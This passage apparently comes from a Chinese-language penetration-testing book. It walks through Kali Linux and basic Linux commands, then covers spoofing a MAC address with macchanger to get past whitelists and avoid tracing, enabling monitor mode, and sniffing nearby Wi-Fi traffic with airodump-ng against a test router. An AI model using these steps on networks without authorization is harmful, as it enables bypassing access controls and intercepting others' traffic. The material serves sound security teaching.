在右侧,有一个名为工作区(Workspaces)的图标,在这里,你可以看到多个桌面或工作区的数量。Linux 通常支持工作区,因此你可以在不同的工作区上打开不同的窗口;如果没有其他窗口打开,你无法使用下一个工作区。不过,例如,如果你在这里打开了文件管理器,你可以切换到下一个工作区,它会是空的,然后你可以在那里运行其他内容。你可以根据需要使用任意数量的工作区,且在它们之间切换非常方便。在我们进行渗透测试攻击时,我们将使用这些工作区。

现在,在工作区图标的右侧,如果你有多个键盘并且想在它们之间切换,你可以看到一个键盘图标:

然后我们有网络图标,如下图所示。通过它,我们可以访问有线和无线网络。有一点需要注意的是,我们无法通过虚拟机访问内部无线网卡。我们已经将计算机的设置配置为通过 NAT 连接,这意味着它有互联网连接,但互联网连接是通过主机机器提供的。因此,实际上在这个设备和主设备之间设置了一个虚拟网络。这个设备仅因为主机提供的互联网连接而能访问互联网:

在这里,我们也可以通过相同的菜单更改音量;我们可以关闭计算机、锁定它,或进入偏好设置。这些只是常规的偏好设置,你应该熟悉它们。它们包括背景、通知、显示、鼠标和网络。接着是电池设置,可以通过状态栏访问。应用程序和位置是我们最常使用的对象,你可以从中访问你的网络设置。

连接无线网卡

如果我们连接了无线网卡,我们将能够看到可用的网络。如果我们想要连接无线网卡(我有一个 USB 无线网卡),我们可以按照以下步骤操作:

  1. 转到菜单栏上的“设备”菜单,然后进入 USB。这一过程是一样的,无论你连接的是哪种 USB 设备(无线、存储棒等)。进入设备 | USB,然后选择你要连接的设备。

  2. 所以我们连接了一个无线网卡,网卡使用的芯片组叫做 Ralink 802.11n WLAN [0101]。这是无线网卡,我们将点击它。这应该会将它连接到 Kali 机器:

  1. 转到状态栏上的无线图标,进入 Wi-Fi 未连接的“选择网络”选项,然后选择一个网络。接着,我们可以看到周围可用的网络,并且可以选择任何想连接的网络;只需要输入密码,按正常方式连接网络,就像连接其他任何网络一样:

即使我们现在断开无线网卡,我们也会看到仍然有互联网连接,因为我们的主机(例如 macOS X)已经连接到网络,而这个虚拟机通过内部虚拟网络连接到 Mac 机器。所以,Kali Linux 附带的浏览器是 Firefox ESR,我们可以去 Google 检查一下,看看我们是否有互联网连接。

Linux 命令

这些不是黑客命令;它们不是渗透测试命令。它们只是 Linux 中用来在操作系统上执行不同操作的命令。

这个关于终端如何工作的概述旨在让你更熟悉终端的结构、如何浏览目录等等。

现在,让我们来了解一下 Linux 终端。终端是你可以在操作系统上做任何事情的地方,通过执行与我们想要的程序相关的命令来运行任何程序。Linux 终端非常强大;它基本上允许我们做比图形界面更多的事情。我们将要使用的许多程序都有图形界面,但命令行要更简单、更快捷。而且,在许多场景下,你会在目标计算机上获得一个安全外壳(SSH)或命令提示符,你需要知道命令才能在计算机上执行你想做的事情,或进行渗透测试。

学习如何使用命令提示符非常重要。我们将在接下来的章节中频繁使用它,但现在,我们将提供一个非常简单的概述。它比通过图形界面操作要简单得多。使用它非常简单;你只需输入命令,结果就会以文本形式显示在屏幕上。

命令

以下章节展示了基本的 Linux 命令。

ls 命令

ls 命令列出了当前工作目录中所有存在的文件和目录。所以它类似于 Windows 机器中的 dir 命令;它只是列出当前目录中所有存在的文件和目录:

ls

当我们执行这个命令时,它的输出列出了所有目录,如 DesktopDocumentsDownloadsMusic

现在,让我们使用一些选项运行 ls 命令。我们将使用 ls,然后加上 -l,这样就会显示关于文件的更多信息。这基本上是我们之前运行的同一个命令,但正如我们在下面的屏幕截图中看到的那样,我们现在可以看到更多的信息。我们可以看到当前工作目录中存在的总条目数,我们还可以看到之前看到的相同目录,但我们还能看到它们的创建或修改日期。我们可以看到负责它们的用户、根用户,还可以看到权限:

我们将在接下来的章节中深入了解权限。权限指定哪些用户可以做什么(读取、写入、执行)。这只是 ls 命令的一个示例。

man 命令

其中一个最重要的命令,将来对你非常有用,是 man 命令。它代表手册man 命令可以用来查询并获取任何其他命令的手册。例如,我们刚刚使用了 ls 命令列出了当前工作目录中所有存在的目录:

man ls

执行此命令后,它会显示ls命令的手册。如我们所见,它显示ls用于列出内容,因为它列出了文件和目录。我们还可以看到此命令实际上接受选项,因此它接受比仅仅ls更多的选项:

在上面的截图中,我们可以看到 Linux 中选项的格式;它要么是-字母缩写,要么是--,然后输入完整选项。例如,--all选项不会忽略以点开头的条目。如果我们按下或输入Enter键,手册就会继续向下滚动,直到你读取更多的信息。这些都是你可以用命令做的所有操作。我们可以看到,例如,-l使用长格式列出。要退出此命令,我们只需输入q,这样就会退出手册。

help命令

另一个非常有用的选项是--help。我们再次使用ls,并执行--help命令。现在,man--help几乎适用于所有命令,因此你可以使用man lsls --help,它将始终显示程序的帮助或手册页。所以,在执行前述命令后,在下图中,我们可以看到使用ls的帮助页面,它告诉我们所有ls命令的选项:

再次提醒,它是一个---,然后我们输入选项名称,就像之前那样。顶部显示关于命令功能的信息,并提供命令的格式,因此它应该以这种特定格式使用:Usage: ls。接着输入选项,然后决定是否对文件进行操作。它与man命令非常相似;有时候,程序没有man,而只有help命令。

如果我们遇到不确定如何使用的命令或程序,我们可以始终输入man和命令名称,或者命令名称和--help。在处理终端时,另一个有用的技巧是按上下箭头键可以查看命令历史记录。因此,我们可以通过上下箭头键在man lsls -lls --help命令之间切换。

Tab 键

另一个非常有用的工具是键盘上的Tab键。如果我们正在输入一个命令,或者如果我们在寻找一个文件但不确定时,可以使用Tab键进行自动补全。例如,假设我们想输入一个文件名。首先创建一个文件;我们只需转到“文件”|“主目录”,因为现在我们要创建一个新文件。我们创建一个名为test的新文件夹。假设我们正在寻找与test文件夹相关的操作;可以使用cd命令将工作目录切换到另一个目录。

假设我们要进入test目录;我们可以使用命令,然后进入test目录:

cd test/

另一个有用的命令是pwd;它显示当前的工作目录。只需执行它,正如我们所看到的,我们现在在root/test目录下:

pwd

现在,如果我们想返回,可以使用cd命令,切换目录,并且,如果不输入目标目录名,我们可以直接输入cd ..

这些只是一些基本命令,Linux 中有很多命令。同样,每个我们安装的程序都会有一个命令行版本,我们可以通过命令行访问该程序。许多我们将使用的程序甚至没有图形界面,因此我们需要通过终端来使用它们。别害怕,我们将来会详细讲解的。

更新资源

现在我们知道如何与终端和 Linux 基础知识互动,我们将看一些最终步骤:

  • 更新源列表

  • 安装terminator

  • 安装所需的更新

进入 Kali 机器后,我想先给你展示的是如何以全屏模式查看机器。只需点击“视图”然后选择“全屏”,这样就会自动扩展所有内容并进入适当的全屏模式。

让我们来看一下 Kali Linux 中的包管理器。我们可以使用一个叫做apt-get的命令来安装程序。我们通常输入apt-get,然后,如果我们想安装某个程序,就输入apt-get install,后面跟上包的名称(即程序的名称)。在我们执行这些操作之前,我们需要先更新源;这个程序的工作方式是通过获取一系列的库文件。在全新安装的系统中,我们需要更新源,确保它有最新的库文件和可用程序。我们只需要使用apt-get update。这个命令不会更新系统,它只会更新可安装程序的列表:

现在,一切都已经更新,我们可以开始安装程序了。我们将看一个安装有用终端应用程序terminator的示例。命令如下:

apt-get install terminator

按下Enter键;现在,它会询问我们是否真的要安装这个程序。我们通过输入y并按Enter键来确认,程序将自动下载并为我们安装:

现在,我们可以继续尝试使用terminator。为此,我们将前往左侧菜单栏中的“应用程序”,并搜索terminator。我们将右键点击它并将其添加到“我的收藏夹”,这样它就会出现在桌面栏中。我们将打开它,它只是另一个终端应用程序。我们可以在这里增加文本的大小,实际上可以通过终端运行程序,使用我们之前展示过的任何命令。Terminator 的优点是我们可以分割屏幕,运行多个命令。如果我们右键点击屏幕,我们可以将其水平分割,我们可以同时拥有三个不同的窗口,分别运行三个不同的命令或程序。所以,这非常方便;它可以让你将来轻松很多。

另一个命令涉及到系统升级。在许多情况下,当我们升级系统时,我们会遇到一些问题,比如库文件损坏;当程序依赖的库已经更新而程序本身没有更新时,某些程序可能无法正常工作。如果我们遇到问题,我们可以恢复到之前的快照;但通常情况下,我们干脆不升级。如果有 Kali 的新版本,我们只是将其作为另一个虚拟机导入,而不是升级现有的 Kali 版本。

现在,如果你想升级你的系统,你只需输入apt-get upgrade。如果你按下Enter,它会告诉你会有大量的库和包被升级。如果你再次按下Enter,它将开始下载、安装并配置这些包,正如以下截图所示:

它可能会要求你配置一些内容,所以不要太冒险尝试更改一些设置——保持原样。再次强调,大多数时候,我们保持一切不变。

总结

在这一章中,我们了解了 Kali Linux 是什么,以及当它安装在虚拟机上时使用它的优势。之后,我们浏览了 Kali Linux 的图形界面,包括它所拥有的各种图标。然后,我们使用了几个将在未来章节中使用的 Linux 命令。最后,我们了解了如何更新系统的资源。

接下来的章节将重点介绍网络渗透测试。最初,我们将学习所有基础知识;之后,我们将学习可以在网络上执行的攻击。

第四章:网络渗透测试

在本章中,我们将涵盖开始进行网络渗透测试所需的所有概念。我们将从网络是什么开始,看看两种类型的网络:有线和无线。随后,我们将学习如何将无线适配器连接到虚拟机。之后,我们还将了解什么是 MAC 地址,以及如何更改 MAC 地址的步骤。最后,我们将学习启用监控模式的方法。

本章将涉及以下主题:

  • 什么是网络?

  • 网络基础

  • 连接到无线适配器

  • MAC 地址

  • 无线模式——管理模式与监控模式

  • 手动启用监控模式

  • 使用airmon-ng启用监控模式

什么是网络?

我们将要覆盖的第一个渗透测试部分是网络渗透测试。我们将尝试访问的大多数系统和计算机都会连接到网络,无论是设备、计算机、手机,还是任何连接到互联网的设备。因此,在深入了解各种渗透测试之前,你需要学习设备如何在网络中相互作用,以及网络如何工作。

网络渗透测试可以分为四个主要部分:

  1. 连接前

  2. 获得访问权限

  3. 连接后

  4. 检测与安全

第一部分(连接前)和第二部分(获取访问权限)都针对无线网络。通常,对于无线网络来说,它有保护(加密),我们需要使用密钥才能连接到网络。有 WEP、WPA 和 WPA2 加密,我们将学习如何破解它们。我们还将了解在不连接网络的情况下可以执行的攻击类型,以及使用无线网卡可以做什么。

我们在前两部分中没有提到有线连接的原因是,要获得对有线网络的访问权限,你只需要一根以太网线。某些有线网络使用安全性保护,某些则使用 MAC 过滤,我们稍后会讨论这些——更改 MAC 地址非常容易。

第三部分才是有趣的开始——我们将学习如何嗅探网络数据包、如何控制连接、如何嗅探密码、用户名和 Cookies、如何将它们注入到浏览器中,并如何发起攻击,允许我们获得网络中任何设备的完全访问权限,无论是有线的还是无线的。第三部分适用于有线和无线网络,操作完全相同,无需更改配置。在最后一部分,我们将讨论如何保护自己免受攻击,以及如何检测攻击。

网络基础

在开始尝试入侵网络之前,我们需要了解一些基本知识。什么是网络?网络是多个设备通过连接共享数据的方式。这些数据可以是文件、资源(例如家庭网络上的资源),或者仅仅是连接到互联网的一种方式。

所有网络,无论是 Wi-Fi 还是有线网络,都通过相同的原理实现数据共享—一个作为服务器的设备,所有其他设备与之通信。服务器拥有资源,网络中的所有其他设备都可以访问服务器上的数据。在大多数 Wi-Fi 网络中,服务器就是路由器,所有设备都连接到路由器并通过它访问互联网。网络中唯一一个直接连接互联网的设备就是 Wi-Fi 路由器。

在下面的图示中,客户端 1、2 和 3 无法直接访问互联网,但它们可以通过路由器访问互联网:

例如,每当客户端 3 想要打开 Google 时,它会向路由器发送请求。路由器访问互联网,抓取www.google.com,然后将其转发回客户端 3。客户端 3 不能直接访问互联网—它必须通过路由器,路由器获取请求并将响应返回给客户端。所有这些数据—请求和响应—都是通过数据包传输的,因此在客户端和路由器之间会有很多数据包传输。在 Wi-Fi 网络中,这些数据包是通过空气传输的,因此它们是广播的。如果我们处于这些数据包的范围内,我们可以嗅探它们,捕获它们,并读取其中的所有信息。所有这些数据—无论是用户名、密码、视频、音频、音乐、图表等等—都是以数据包的形式传输的,并且始终在路由器和客户端之间传输。因此,如果我们捕获到这些数据包,我们就可以在我们的设备上读取所有信息。

连接到无线适配器

在本章的这一部分,我们将学习如何将 USB 设备连接到虚拟机。作为示例,我们将把一个无线适配器连接到 Kali 机器上,但同样的方法也可以用来连接任何 USB 设备。我们将在网络渗透测试的破解部分需要一个无线适配器,因为在后续章节中,我们将学习如何破解 Wi-Fi 网络的密码。除此之外,其他操作无需无线适配器。

无线适配器是一种通过 USB 连接到计算机的 USB 设备,它使我们能够与无线网络通信。如今,大多数计算机和笔记本电脑都内置了无线网卡。唯一的问题是,首先,我们无法从虚拟机访问内置无线网卡。其次,即使你将 Kali 安装为主机,内置无线网卡也不适合黑客攻击,因为我们需要一个支持监控模式和数据包注入的强大适配器(我们将进一步解释这些模式的含义)。基本上,内置无线适配器不支持这些模式,因此无法用于黑客攻击。

推荐使用强大的无线适配器。欲了解更多信息,请查看www.youtube.com/watch?v=0lqRZ3MWPXY

现在,我们将通过以下步骤将适配器连接到 Kali:

  1. 我们需要打开 VirtualBox(如果已经打开,它会显示在屏幕的左侧),然后点击我们希望连接适配器的虚拟机。

  2. 接着,我们进入设置 | USB,并确保启用 USB 控制器选项已勾选;如果没有,点击启用 USB 控制器:

  1. 现在,我们需要选择适配器使用的 USB 硬件类型——USB 1.0、2.0 或 3.0。然后,我们点击加号(+)按钮:

  1. 我们会看到有许多设备可以连接到 Kali 虚拟机。首先,我们连接适配器,仅仅是为了查看可用的设备。我们看到的名称是适配器内部使用的芯片组名称,而不是适配器本身的品牌名称。当我们点击它时,会看到一个新的条目叫做 ATHEROS——这实际上是我的无线适配器,一个 Alpha AWS 036NHA。我们点击它,然后点击确定,适配器就添加到 Kali 上了:

在我们开始使用 Kali 之前,我们需要安装扩展程序,以便 VirtualBox 可以使用 USB 设备。你可以在 www.virtualbox.org/wiki/Downloads 下载这些扩展程序,你会看到有一个 VirtualBox 扩展包的链接。这些扩展包仅适用于 VirtualBox 5.1.22 及以上版本。

如果你使用的是不同版本的 VirtualBox,可以通过访问 VirtualBox | 关于 VirtualBox 来查看你的版本;如果你使用的是 Windows,则需要访问文件 | 关于 VirtualBox。在那里你可以看到版本号。如果在链接中找不到最新版本,你需要访问 VirtualBox 的旧版本页面,找到 5.0 版本,并下载 5.0.20 版本的扩展包。下载与您的版本兼容的扩展包。

下载完成后,它会保存在你默认的下载位置。你只需双击它进行安装。如果你已经安装过,它会弹出重新安装的提示;否则,它会显示一个安装按钮。如果你正在重新安装,你需要向下滚动并同意相关条款,并输入密码。完成后,扩展包将被安装。

在启动虚拟机之前,我们将物理上断开无线适配器的连接,等到 Kali 完全加载后再连接适配器。启动 Kali 虚拟机,输入用户名 root 和密码 toor。现在,Kali 已经完全加载,我们可以物理连接无线适配器。这样做是为了避免冲突。一旦适配器连接并且虚拟机启动,我们将通过打开终端并输入 ifconfig 命令来确认适配器是否已连接。此命令列出所有连接到计算机的接口,正如以下截图所示,它应该列出一个名为 wlan0 的适配器,这是无线适配器:

如果你点击屏幕右上角的电源图标,你会看到一个“Wi-Fi 未连接”选项,可以用来连接 Wi-Fi 网络:

我们不需要连接到任何 Wi-Fi 网络,因为我们已经设置了一个 NAT 网络,Kali 通过该 NAT 网络已经可以访问互联网。我们只需要无线适配器来入侵其他网络并破解它们的密码。

MAC 地址

在本节中,我们将学习 MAC 地址。每个网卡,无论是 Wi-Fi 卡还是有线网卡,都有一个由卡制造商分配的物理静态地址,这就是 媒体访问控制MAC)地址。MAC 地址写在卡上,并且是物理的,因此永远不会更改。它用于设备之间的识别,并且用于将数据包传输到正确的方向。这是因为每个数据包都有源 MAC 地址和目标 MAC 地址,并从源地址传输到目标地址。

由于 MAC 地址是静态的并且永不更改,因此它可以用来追踪和识别设备。而且,由于设备使用 MAC 地址来相互识别,我们可以设置一些只允许特定 MAC 地址连接的网络(通过使用白名单),或者将 MAC 地址列入黑名单,使其无法连接到网络。更改 MAC 地址可以帮助你通过进入白名单连接网络,或绕过黑名单。更改 MAC 地址的唯一方法是将其更改为 RAM 中的地址——因此它只会在当前会话中更改,重启后需要重新更改。

现在,让我们更改 MAC 地址;步骤如下:

  1. 我们将使用一个名为 macchanger 的工具。首先,为了获取 Wi-Fi 卡的名称,只需输入 iwconfig,它将显示所有无线网卡。在以下截图中,eth0 没有无线扩展,lo 同样如此;我们可以看到 wlan0 是无线网卡:

  1. 我们将禁用无线网卡,使用 ifconfig wlan0 down 命令。

  2. 现在,我们将使用一个名为macchanger的工具来更改 MAC 地址。使用这些工具时,查看帮助部分总是个好主意;只需进入终端并输入macchanger --help,我们就可以看到所有可以与该工具一起使用的选项。你可以使用--help--version来显示帮助和版本,--show来显示当前的 MAC 地址,-e可以防止更改供应商字节(MAC 地址的制造商)。另一种方法是尝试一个相同类型的随机供应商 MAC(-A只是为了设置一个随机供应商)。-p选项将重置原始的永久 MAC 地址,因此如果我们更改了 MAC 地址并想再次使用旧的地址,我们可以使用-p-r选项将为我们提供一个随机的 MAC 地址,而-l将打印出我们可以使用的已知供应商。-m选项将帮助我们选择自己的 MAC 地址:

如果有白名单,我们将学习如何查看所有连接的设备;例如,对于你的目标网络,三个设备已连接,而目标网络只允许三个设备连接。我们可以直接取一个白名单中的 MAC 地址,更改它,并使用它。

  1. 要更改 MAC 地址,首先我们需要通过使用ifconfig wlan0 down命令禁用wlan0无线网卡。我们可以使用--random选项来通过macchanger设置一个随机的 MAC 地址。命令就是macchanger --random wlan0。如果需要,我们可以使用m来指定自己的 MAC 地址。按下Enter后,我们可以看到原始的 MAC 地址被更改为5a:c4:0c:9a:ac:79

现在,我们的无线网卡已经准备好,并且我们已经更改了它的 MAC 地址。

  1. 现在我们需要重新启用无线网卡,因为我们之前禁用了它。所以,我们将做相反的操作;我们将使用ifconfig wlan0 up。就这样;网卡已启用,并且其 MAC 地址已被更改。让我们在下图中查看一下;如果我们输入ifconfig wlan0,现在可以看到新的 MAC 地址:

无线模式 – 管理模式和监控模式

现在我们知道 MAC 地址是用来确保数据包走向正确方向的,因此每个数据包都有一个源 MAC 和一个目标 MAC,它从具有源 MAC 的设备流向具有目标 MAC 的设备。这就是无线网卡在默认模式下的工作方式。所以,如果我们进入 Kali 机器并使用iwconfig,在下图中,你可以看到我们有一个无线网卡,名为wlan0,而且默认模式是称为管理模式:

所以,基本上,在这个模式下,我们的无线设备将只接收数据包,或者只会尝试捕获那些目标 MAC 地址是我们设备 MAC 地址的数据包。它只会捕获实际发送到我们计算机的数据包。

然而,我们想要做的是使它能够捕获我们周围的任何数据包——任何在我们范围内的数据包。为此,我们将使用一种叫做监视模式的模式。它指示无线网卡捕获周围的所有内容,即使目的 MAC 地址不是我们的 MAC。基本上,我们将能够捕获我们范围内的所有数据包,即使它们并不是发送给我们设备的。

启用监视模式的方法不止一种;我们将在本章讨论三种方法,从最基础的方法开始。在某些情况下,监视模式已启用,但当我们实际执行攻击时,攻击不会成功。此时我们可能需要尝试另一种启用监视模式的方法。

现在我们将讨论第一种方法,使用airmon-ng来实现。首先,我们输入airmon-ng,如以下截图所示,它列出了可用的无线网卡:

我们有一个无线网卡,名为wlan0,所以我们将在这个接口上启动监视模式,命令是airmon-ng start wlan0。这个操作非常简单;airmon-ng是程序的名称,start用于初始化监视模式,wlan0是无线网卡的名称,也就是接口名。我们现在已经在mon0上启用了监视模式,因此在接下来的章节中,任何需要使用监视模式的地方,我们都将指定mon0作为接口:

不是所有的接口名称都相同,所以它可能被称为wlan0mon或其他名称;这没关系,只要记得以后使用启用了监视模式的名称即可。如果我们使用iwconfig wlan0mon,我们会看到(如以下截图所示),模式现在是监视模式,而不是管理模式:

这意味着我们可以使用这张卡捕获我们范围内的任何数据包,即使该数据包不是发给我们设备的,也即使它的目的 MAC 地址不是我们设备的 MAC 地址。

需要注意几点:

  • 首先,当我们启用监视模式时,网卡会失去连接。所以,如果它之前连接到了无线网络,它将会断开连接。这是正常的,因为网卡将不再处于管理模式,而是会捕获它所能接收到的所有数据包,而不是仅仅捕获指向它的数据包。这没关系,因为当我们启用监视模式时,我们实际上是想攻击其他网络或捕获我们没有密码的网络的数据包。所以,失去互联网连接是完全正常的。

  • 接下来要确保使用启用了监视模式的名称。如前所述,这个名称是wlan0mon;它会根据系统不同而变化,因此一定要使用airmon-ng命令显示的名称。

  • 第三点是,如果我们启用监控模式并在将来进行攻击时,结果不如预期,我们可以返回并尝试其他启用监控模式的方法。

如果我们想停止监控模式,可以使用airmon-ng stop wlan0mon命令。现在,监控模式已被禁用,如下图所示,我们可以在管理模式下使用wlan0连接到网络并正常使用:

手动启用监控模式

随着aircrack-ng的最新更新,airmon-ng在某些无线网卡上停止工作。它实际上会显示它已在wlan0mon上启用监控模式;所以,它将不再仅使用mon0,而是开始称无线网卡为wlan0mon。当我们尝试使用这张卡时,即使该卡支持监控模式,它可能在监控模式下无法正常工作。目前,在 Kali 2.1 版本中,建议使用不同的方法来启用监控模式。这个方法实际上是手动启用监控模式的方法。

我们的无线网卡是wlan0,让我们来看一下它。我们使用iwconfig wlan0命令;执行命令后,可以在下图中看到无线网卡:

如前图所示,wlan0现在处于管理模式。所以,我们要做的是通过手动方法启用它。我们将使用ifconfig wlan0 down命令禁用卡,就像我们在上一个方法中做的那样,然后卡会被禁用。

接下来,我们的命令是启用卡的监控模式:它是iwconfig wlan0,卡的名称,然后是mode monitor。非常简单:iwconfig wlan0 mode monitor。然后,我们按Enter,就完成了。

现在,如果没有错误信息,说明命令执行成功。然后我们可以再次启用卡,因此我们将执行ifconfig wlan0 up命令,将卡启用。如果我们使用iwconfig wlan0,卡会进入监控模式:

所以,在这一部分中,我们实际上使用了启用监控模式的旧方法,如果我们使用了airmon-ng,那么我们将使用wlan0mon作为监控模式下的卡,但如果使用旧方法,则wlan0将处于监控模式。我们将使用wlan0而不是wlan0mon,因为监控模式现在已在wlan0上启用。

这张卡现在工作正常,并且已启用监控模式。我们可以选择任何我们想要的方法,但这种方法适用于所有卡,而aircrackairmon-ng方法只适用于某些卡。

使用 airmon-ng 启用监控模式

到目前为止,我们已经学习了两种启用监控模式的方法,接下来我们将学习第三种方法。所有这些方法的目标都是相同的,都是启用你的无线网卡的监控模式。哪种方法对你有效取决于你的操作系统、主机系统以及无线网卡的兼容性。在很多情况下,所有方法都会启用网卡的监控模式,但并非所有攻击都会成功。有时候,注入可能无法成功,或者创建虚假接入点可能会失败——这些问题我们将在后续章节中学习,所以现在不用太担心。

基本上,关键点是:如果我们知道我们的网卡支持注入(例如它是 036H 或 036NHA 这样的 Alpha 网卡,或者其他已知支持注入的网卡),但注入效果不好,那么我们可以拔掉网卡,再重新插回去,并尝试另一种启用监控模式的方法。到目前为止,你已经学会了两种方法,接下来我们将学习第三种方法。

如果前面的方法对你有效,就继续使用它;如果无效,那就试试这个方法。我们已经连接了无线网卡,它的名字叫做wlan0。接下来,我们将像往常一样禁用网卡,使用ifconfig wlan0 down,并运行一个命令来终止可能干扰启用监控模式的服务。这个命令是airmon-ng check kill;如你在以下截图中看到的,它终止了三个airmon认为可能干扰启用监控模式的进程:

现在,我们将按照第一种方法启用监控模式,使用airmon-ng start wlan0命令。现在,监控模式已经在wlan0mon这个虚拟无线接口上启动,我们可以使用iwconfig命令进行检查;此时,它就处于监控模式:

如我们所见,所有这些方法都可以启用监控模式,未来我们将在不同的攻击中使用监控模式。如果某个攻击失败,我们只需拔掉网卡,再重新插回去,尝试另一种启用监控模式的方法。希望其中某一种能够生效,然后我们就能继续进行攻击。

总结

在这一章中,我们学习了什么是网络以及它是如何工作的,还学习了基本的网络术语,以及如何将无线适配器连接到虚拟的 Kali 机器上。大部分情况下,我们只需要这个适配器来进行网络渗透测试,破解密码。我们还了解了 MAC 地址这一重要概念,它是每台机器的唯一标识。此外,我们还了解了如何修改 MAC 地址,以便在黑客攻击时不被追踪。最后,我们学习了如何使用三种不同的技巧来启用监控模式。

在下一章中,我们将学习如何进行网络渗透测试。

第五章:连接前攻击

在本章中,我们将重点介绍网络渗透测试的第一部分——即连接前攻击。为了执行这些攻击,我们将了解基础知识;我们将学习嗅探的概念。一旦我们对嗅探有了清晰的理解,我们将研究有针对性的包裹嗅探,以及嗅探的一个重要工具——Wireshark 工具。然后,我们将发起第一个攻击:去认证攻击。最后,我们将创建一个假接入点。

在本章中,我们将讨论以下主题:

  • 包裹嗅探基础

  • 有针对性的包裹嗅探

  • 去认证攻击

  • 什么是假接入点?

  • 使用 MANA 工具包创建假接入点

包裹嗅探基础

在上一章中,我们将 Wi-Fi 卡设置为监控模式,这样我们就可以嗅探到我们 Wi-Fi 范围内的包裹,即使它们没有直接连接到我们的设备,甚至我们没有通过用户名和密码连接到网络。现在,我们将使用一个名为airodump-ng的工具,它是 Aircrack-ng 工具套件的一部分。它是一个包裹嗅探器,可以让我们捕获周围的所有包裹。我们可以对周围的所有网络运行它,并收集我们范围内的任何包裹。我们还可以将它针对特定的接入点AP)运行,这样我们只收集来自某个 Wi-Fi 网络的包裹。

首先,让我们看一下如何运行这个程序。你需要将 Wi-Fi 卡设置为监控模式;在我们的例子中,Wi-Fi 卡的名称是wlan0。所以,我们将运行airodump-ng wlan0命令——就是这么简单。启用了监控模式的 Wi-Fi 卡名称是wlan0。正如你在下面的截图中看到的,这将列出我们周围的所有网络:

airodump-ng的另一个用途是识别所有连接到我们周围网络的设备。

我们可以按Ctrl + C停止嗅探。我们没有保存我们嗅探到的包裹,因此没有必要分析它们——我们只是对周围的 AP 运行了airodump-ng,以查看有哪些网络并收集有关它们的信息。从前面的截图中,我们可以看到周围有相当多的网络。

在前面的截图中,有一些我们需要熟悉的参数,以便我们可以分析输出:

  • BSSID是 AP 的 MAC 地址;正如我们所知,每个网络设备都有一个 MAC 地址。

  • PWR是功率——表示 AP 距离我们 Wi-Fi 卡的远近。Test是我们将要针对其执行一些攻击的测试路由器。往下看,你可以看到网络越来越远。网络越近,你嗅探包裹的难度就越小。网络越近,攻击越有效,你越能快速访问并实现目标。

  • Beacons 是 AP 发送的信号;每个 AP 都会发送某种类型的数据包,告知周围的客户端它的存在。所以,即使网络是隐藏的,它仍然会发送这些信标包,告诉周围的人它存在。我们的 BSSIDEC:1A:59:5A:E1:46,并且我们当前信号强度是 -34。因此,50 是每个 AP 发送的 Beacons 数量。

  • Data 是我们嗅探到的有效数据包的数量;我们稍后会详细讨论这个,特别是在研究 WEP 解密和加密时。

  • S 是我们在过去 10 秒内收集到的数据包数量;如我们所见,这里显示的是 0,意味着过去 10 秒内没有收集到数据包。

  • Channel 是 AP 所广播的频道数。每个 AP 都会在某个频道上广播,以避免相邻的 AP 之间发生干扰。假设我们有一个 AP,五米外有另一个,如果它们使用相同的频道,就会发生干扰,两个 AP 之间的信号会减弱,从而缩短它们的信号范围。

  • MB 是该 AP 支持的最大速度;它最高可以达到 54

  • ENC 是 AP 使用的加密类型;我们有 WEP、WPA 和 WPA2 加密。如果是开放网络,我们会看到 OPN 作为加密类型。

  • CIPHER 是用来解密数据包的密码。对于 WEP,它是 WEP,但对于 WPA2,它可以是 CCMPTKIP;我们稍后会在讨论 WPA 破解时提到这些。

  • AUTH 是该 AP 所需的认证类型。我们可以看到 预共享密钥 (PSK),还可以看到 MGT。我们稍后会在讨论 WPA 破解时提到这些。

定向数据包嗅探

你现在已经了解了嗅探的基本概念。一旦我们有一个(或一组)网络需要目标,最好只在那个网络上运行 airodump-ng,而不是在我们周围的所有网络上运行它。在本节中,我们将展示如何做到这一点。

我们目前正在运行 airodump-ng 来监控我们周围的所有网络;我们将针对 BSSIDEC:1A:59:5A:E1:46 的网络。那是我们的测试网络,名为 Test。我们将只对该网络进行嗅探。

为了做到这一点,我们将使用相同的程序。命令如下:

airodump-ng --channel 10 --bssid EC:1A:59:5A:E1:46 --write test-upc wlan0

我们需要指定频道。这里的 --channel 是频道号 10,如前面的代码片段所示;--bssid 应该是目标网络的 MAC 地址。我们将添加一个 --write 选项,这告诉 airodump-ng 将捕获的所有数据包记录到一个文件中。我们还需要一个文件名,可以将其命名为 test-upc。然后我们输入我们 Wi-Fi 网卡的名称(在监控模式下),它是 wlan0

然后,我们按Enter键,正如你所看到的,唯一显示的网络是Test,没有其他网络列出。在前面的截图(目标数据包嗅探部分)中,我们有太多网络,所以并不是所有信息都能显示出来。

在下面的截图中,正如我们所见,前面章节中看到的所有参数包含了所有在我们 Wi-Fi 范围内的 AP,这一部分内容:

现在,前面的截图包含了所有与 AP 关联的客户端;当我们看到EC:1A:59:5A:E1:46时,那就是客户端连接的网络的 MAC 地址。第一部分中的 MAC 地址与第二部分中的 MAC 地址相同。这意味着该客户端连接到网络EC:1A:59:5A:E1:46STATION是客户端的 MAC 地址——连接到网络的设备的 MAC 地址。PWR是我们与设备之间的距离,Rate是设备运行的最大速度。Lost是我们丢失的数据包数量(我们无法从目标设备捕获的),而Frames是我们从该设备收集到的有效数据包数量。关于帧和数据的更多内容,我们将在学习 WEP 破解时讨论,详见第六章,网络渗透测试 - 获取访问权限

airodump-ng的第一个主要部分是我们 Wi-Fi 范围内的接入点(AP),第二个部分是与这些 AP 关联的客户端。我们还可以看到 AP 的 MAC 地址和实际客户端的 MAC 地址。现在,我们将使用Ctrl + C来停止嗅探。所有数据已经记录到名为test-upc的文件中,我们将使用ls命令来列出 Linux 中的文件;如果在其后添加*,我们将看到airodump-ng自动创建了四种文件格式:

在我们的命令中,我们只指定了文件名为test-upcairodump-ng自动在文件名后加了01,以防有另一个文件使用了相同的名称。我们可以看到四种不同的文件格式——CAPCSVKISMETKIDMET XML

如果我们执行pwd,我们将看到我们在root目录中。嗅探完数据包后,我们可以使用 Wireshark 等程序来分析数据包,查看收集到的信息。这个特定网络的问题是它使用了 WPA2 加密,所以所有数据包都被加密,除非我们有密钥,否则无法解密它们。我们将在本书的后续章节中讨论如何破解这个密钥。

我们将在本书的第七章,连接后攻击中讨论如何使用 Wireshark,所以目前,我们只是运行 Wireshark,快速浏览一下数据包的显示方式。它们目前没有用,因为它们是加密的。

我们将通过执行wireshark命令打开 Wireshark 工具,然后转到选项文件 | 打开,如下图所示:

/root目录中查找test-upc.cap文件:

打开捕获文件后,我们可以看到一些信息——例如,源设备是以下截图中的 Belkin 设备:

